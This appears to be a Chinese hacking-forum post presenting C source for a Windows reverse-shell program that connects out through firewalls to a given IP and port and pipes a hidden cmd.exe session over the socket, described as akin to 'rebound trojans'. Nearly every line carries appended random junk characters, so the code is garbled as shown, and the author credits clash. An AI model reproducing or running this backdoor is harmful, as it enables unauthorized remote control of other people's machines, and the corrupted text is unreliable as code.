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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wl0i3)e:  
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/* ============================== AmX ~KK  
Rebound port in Windows NT M=sGPPj  
By wind,2006/7 ,aU8. J_U  
===============================*/ THcX.%ToT  
#include We@wN:  
#include +(m*??TAV  
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#pragma comment(lib,"wsock32.lib") Dq<!wtFG[  
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void OutputShell(); jJK@i\bU_  
SOCKET sClient; gJJBRn{MI  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \Z^Tk   
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void main(int argc,char **argv) mc|8t0+1`  
{ L rhQG  
WSADATA stWsaData; >@.:9}Z  
int nRet; W0LJ Xp-v  
SOCKADDR_IN stSaiClient,stSaiServer; |5(un/-C  
bmw"-W^U[  
if(argc != 3) xsRu~'f  
{ uC5W1LyI  
printf("Useage:\n\rRebound DestIP DestPort\n"); p&lT! 5P!A  
return; a/gr1  
} ,F?O} ijk  
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WSAStartup(MAKEWORD(2,2),&stWsaData); E.4 X,  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4Ep6vm X  
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stSaiClient.sin_family = AF_INET; G8@LH   
stSaiClient.sin_port = htons(0); zC WN,K`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t|v_[Za}Z  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v4W<_ 7L_  
{ MNH-SQB|  
printf("Bind Socket Failed!\n"); +|.6xC7U  
return; a9p6[qOcd  
} l*|m(7s  
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stSaiServer.sin_family = AF_INET; 8C5*:x9l  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {TC_ 4Y|8  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hEfFMi=a`  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %!V=noo  
{ T-.Bof(?w  
printf("Connect Error!"); ^dR gYi"(A  
return; wQrD(Dv(yA  
} RO.bh#A$  
OutputShell(); : G0^t  
} FK,Jk04on  
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void OutputShell() ;s w3MRJ  
{ 'ExTnv ~  
char szBuff[1024]; ZnRE:=  
SECURITY_ATTRIBUTES stSecurityAttributes; ke5_lr(  
OSVERSIONINFO stOsversionInfo; %VGQ{:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  4FcY NJq  
STARTUPINFO stStartupInfo; Wq/0}W.  
char *szShell; 2-DJ3OL]k  
PROCESS_INFORMATION stProcessInformation; %s#`Z [8,  
unsigned long lBytesRead; M6*8}\  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -3Auo0  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Wf9K+my  
stSecurityAttributes.lpSecurityDescriptor = 0; kg()C%#u  
stSecurityAttributes.bInheritHandle = TRUE; |&\cr\T\r  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h 7*#;j  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~.TKzh'eB  
Ku;8Mx{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'Q4V(.   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rtk1 8U-  
stStartupInfo.wShowWindow = SW_HIDE; j(`V& S  
stStartupInfo.hStdInput = hReadPipe; jWerX -$  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Yf[GpSej  
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GetVersionEx(&stOsversionInfo); AGgL`sP  
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switch(stOsversionInfo.dwPlatformId) G FO(O  
{ m| k:wuzqK  
case 1: :t6.J  
szShell = "command.com"; /r mm@  
break; =f-.aq(G/  
default: Xd@x(T~'X  
szShell = "cmd.exe"; ?G$X 4KY6`  
break; N0']t Gh2  
} 6l?\iE  
D>I|(B!.p8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^|h})OHV  
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send(sClient,szMsg,77,0); he1OLk  
while(1) *Q:EICDE7  
{ U\`H0'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); O{44GB3  
if(lBytesRead) 2F fwct:  
{ 2a[_^v $v  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2:D1<z6RQ  
send(sClient,szBuff,lBytesRead,0); b}5hqIy  
} '3V?M;3|K  
else o_DZ  
{ "T'?Ah6  
lBytesRead=recv(sClient,szBuff,1024,0); 1 Ll<^P  
if(lBytesRead<=0) break; {;Ispx0m  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cb9q0sdf  
} *<T,Fyc|  
} K)8N8Js(  
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return; O(Vi/r2:e  
}
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